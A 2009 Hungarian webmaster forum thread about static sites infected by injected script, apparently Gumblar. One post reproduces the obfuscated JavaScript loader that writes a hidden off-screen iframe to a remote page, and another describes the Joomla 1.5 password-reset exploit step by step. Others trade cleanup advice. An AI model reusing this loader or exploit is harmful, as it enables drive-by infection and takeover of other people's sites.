Jönnek a törökök!

**Nero** · 2009-05-19, 16:51

Gilisztácska eredeti hozzászólása

Na talán ez volt az egyik: freelinkdirectory.net ,de már az indexet kivette a tulaj. Már csont fehér minden.

igen ez volt nekem meg benne van a gepben a nyoma, cimenek hozzarendeli, hogy Turkish hacker

**Pikpok** · 2009-05-19, 18:35

Bocs, hogy eddig meg se kukkantam, csak most értem haza. Látom sikerült kicsit megmozgatnom a fantáziátokat

A feltört oldalak egyike sem volt CMS! Saját egyedi kódolású html, semmi sablon. Ezt a scriptet rakta be </head>és a <body> közé:

<script type="text/javascript">var ZBKxiqDAfkGiwkmHdppn = "vOYl60vOYl105vOYl102vOYl114vOYl97vOYl109vOYl101vO Yl32vOYl119vOYl105vOYl100vOYl116vOYl104vOYl61vOYl3 4vOYl52vOYl56vOYl48vOYl34vOYl32vOYl104vOYl101vOYl1 05vOYl103vOYl104vOYl116vOYl61vOYl34vOYl54vOYl48vOY l34vOYl32vOYl115vOYl114vOYl99vOYl61vOYl34vOYl104vO Yl116vOYl116vOYl112vOYl58vOYl47vOYl47vOYl112vOYl11 4vOYl111vOYl102vOYl105vOYl116vOYl45vOYl109vOYl97vO Yl114vOYl107vOYl101vOYl116vOYl105vOYl110vOYl103vOY l46vOYl110vOYl101vOYl116vOYl47vOYl101vOYl97vOYl114 vOYl110vOYl105vOYl110vOYl103vOYl110vOYl47vOYl116vO Yl46vOYl112vOYl104vOYl112vOYl34vOYl32vOYl115vOYl11 6vOYl121vOYl108vOYl101vOYl61vOYl34vOYl98vOYl111vOY l114vOYl100vOYl101vOYl114vOYl58vOYl48vOYl112vOYl12 0vOYl59vOYl32vOYl112vOYl111vOYl115vOYl105vOYl116vO Yl105vOYl111vOYl110vOYl58vOYl114vOYl101vOYl108vOYl 97vOYl116vOYl105vOYl118vOYl101vOYl59vOYl32vOYl116v OYl111vOYl112vOYl58vOYl48vOYl112vOYl120vOYl59vOYl3 2vOYl108vOYl101vOYl102vOYl116vOYl58vOYl45vOYl53vOY l48vOYl48vOYl112vOYl120vOYl59vOYl32vOYl111vOYl112v OYl97vOYl99vOYl105vOYl116vOYl121vOYl58vOYl48vOYl59 vOYl32vOYl102vOYl105vOYl108vOYl116vOYl101vOYl114vO Yl58vOYl112vOYl114vOYl111vOYl103vOYl105vOYl100vOYl 58vOYl68vOYl88vOYl73vOYl109vOYl97vOYl103vOYl101vOY l84vOYl114vOYl97vOYl110vOYl115vOYl102vOYl111vOYl11 4vOYl109vOYl46vOYl77vOYl105vOYl99vOYl114vOYl111vOY l115vOYl111vOYl102vOYl116vOYl46vOYl65vOYl108vOYl11 2vOYl104vOYl97vOYl40vOYl111vOYl112vOYl97vOYl99vOYl 105vOYl116vOYl121vOYl61vOYl48vOYl41vOYl59vOYl32vOY l45vOYl109vOYl111vOYl122vOYl45vOYl111vOYl112vOYl97 vOYl99vOYl105vOYl116vOYl121vOYl58vOYl48vOYl34vOYl6 2vOYl60vOYl47vOYl105vOYl102vOYl114vOYl97vOYl109vOY l101vOYl62";var vYtYnYjDBYqaZBYHrcHX = ZBKxiqDAfkGiwkmHdppn.split("vOYl");var NOGJysRciGPdfIBSgkVh = "";for (var IMIhOhpFJxdWLjgJbxlJ=1; IMIhOhpFJxdWLjgJbxlJ<vYtYnYjDBYqaZBYHrcHX.length; IMIhOhpFJxdWLjgJbxlJ++){NOGJysRciGPdfIBSgkVh+=Stri ng.fromCharCode(vYtYnYjDBYqaZBYHrcHX[IMIhOhpFJxdWLjgJbxlJ]);}document.write(NOGJysRciGPdfIBSgkVh)</script>

Ez így persze borította a dizájnt, konkrétan az oldal lejjebb csúszott kb. 3-4 cm-rel. De CSAK a főoldal (index.html)!
Ezen kívül egy, vagy több frame-et is berakott, ami nem különösebben látszott, csak ha kiiktattam a css-t.
De legutóbb már úgy került bele az oldalakba a szemét, hogy nem is esett szét a kép,így csak a validátor mutatta meg, hogy gáz van. Mostanra egyébként sikerült megoldani a problémát, meg nem mondom, hogyan. Ehhez nem értek, de valami szigorítást vezetett be a rendszergazdi.

Köszi mindenkinek a hozzászólást!!

dassad, remek az átfogó hacker-cracker ismertetőd

Nekem érdekes volt!!

**Zool** · 2009-05-19, 18:59

Meg ugye vannak a Script kidek, akik csak progikkal játszanak, melyek a biztonsági lukakat használják ki, különösebb szagértelem nélkül.

**dassad** · 2009-05-19, 19:46

Amugy úgy nézem a hires gumblar.cn virussal volt dolgod. És igen ez is egy Exploit. Örülök hogy tetszett a rövid leirás.

Zool - Az igaz de őket nem szabad dicsérni ők csak kapnak pár infót programot és azokat használják nem a fejüket és tudásukat.

**Zool** · 2009-05-19, 21:18

dassad eredeti hozzászólása

Zool - Az igaz de őket nem szabad dicsérni ők csak kapnak pár infót programot és azokat használják nem a fejüket és tudásukat.

Így van, ezt akartam kifejezni én is a szagtudás nélkül kifejezéssel.

**Stefan Weinenberger** · 2009-05-19, 22:07

Egy cikk az említett csodáról.

http://itcafe.hu/hir/atiranyitja_goo...obe_pdf_f.html

stef

**ducard** · 2009-05-19, 23:01

dassad eredeti hozzászólása

Zool - Az igaz de őket nem szabad dicsérni ők csak kapnak pár infót programot és azokat használják nem a fejüket és tudásukat.

Hát nem, ezek a copy-paste hackerek, kb. egy éve nyáron volt sláger, ha jól emlékszem a Joomla 1.5.x "hackelése", pl. beírtad, hogy

valami.com/index.php?option=com_user&view=reset&layout=confir m

Aztán csak ennyit: ' és megadhattad az új admin jelszót.

hxxp://www.astalavista.com/index.php?section=exploits&cmd=details&id=6351

Ez már az újabb verzió kijövetele után járta be a netet, aki frissített, az megúszta.

----------------

@Pikpok: nekem is volt ez a problémám (statikus oldalaknál, tartalomkezelőnél simán csak tönkretette az index.php-t), változtasd meg az ftp jelszavakat, az index.html létjogosultságát vedd le 444-re. Nekem valami idétlen zenét "nyitott meg" iframe-ben.

**Pikpok** · 2009-05-20, 09:27

Stefan Weinenberger eredeti hozzászólása

Egy cikk az említett csodáról.

http://itcafe.hu/hir/atiranyitja_goo...obe_pdf_f.html

stef

A cikk utolsó bekezdésében van egy nagyon tanulságos rész: ...egy ilyen régóta ismert malware esetében az lenne a jellemző tendencia, hogy a kompromittált oldalak száma az idő előrehaladtával csökken, ahogy a rendszeradminisztrátorok lepucolják a fertőzést a szerverekről. Ebben az esetben azonban, úgy tűnik, nehezebb felismerni a fertőzést...

Szerintem meg nem olyan nehéz felismerni. Én pl. úgy vettem észre - ahogy ezt írtam is - hogy az amúgy valid oldalakra felkerült 6, vagy még több hiba. Korábban nagy vita folyt itt a fórumon is, hogy mi értelme van a hibamentes html-kódolásnak, és hogy egyébként az tök felesleges... Én ebbe a vitába már akkor sem akartam mélyen belefolyni, mindenki úgy dolgozik, ahogy akar. Mindenesetre a mi ügyfeleink oldalai nem hurcolják a vírusokat napokig, hetekig, esetleg még tovább...

Azon pedig nem lennék meglepődve, ha éppen a valid programozás ellen kardoskodók oldalaiban ott lenne ez a dög

**Nero** · 2009-05-20, 13:53

Nem tud valaki olyan progit, scriptet ami a kijelolt fajlok tartalmaban tud keresni bizonyos szora vagy kodreszletre, hogy ne kelljen egyenkent megnyitnom oket, hanem mondjuk kijelolok egy 50et es azt atnezi es amelyikben benne van akkor azt jelzi?